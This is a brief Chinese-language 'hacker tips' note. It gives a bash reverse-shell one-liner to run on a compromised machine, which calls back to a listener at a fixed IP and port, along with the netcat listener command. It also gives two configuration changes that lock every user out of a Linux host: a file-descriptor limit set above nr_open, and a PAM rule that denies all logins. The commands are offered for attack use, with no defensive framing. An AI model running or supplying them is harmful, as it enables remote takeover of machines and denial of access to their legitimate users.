hacker tips

1. 反弹式shell

肉鸡：bash -i >& /dev/tcp/192.168.10.56/6666 0>&1

控制端： nc -v -l -p 6666

2. 登录限制

限制登录有多种方法。

1） hard limit大于nr_open，注销后无法正常登录

/etc/security/limits.conf 文件末尾加上如下：

*           soft    nofile          99999999

*           hard   nofile          99999999

数值大于/proc/sys/fs/nr_open即可

sysctl -p生效

然后谁也没法登录这台机器了（无论是ssh还是tty）

2） 利用pam限制登录

修改/etc/security/access.conf,  增加一行：

-：ALL : ALL

然后在/etc/pam.d/login 和 pam.d/sshd 增加

account    required     pam_access.so

即可生效（已经存在的session不受影响。新的session会受影响）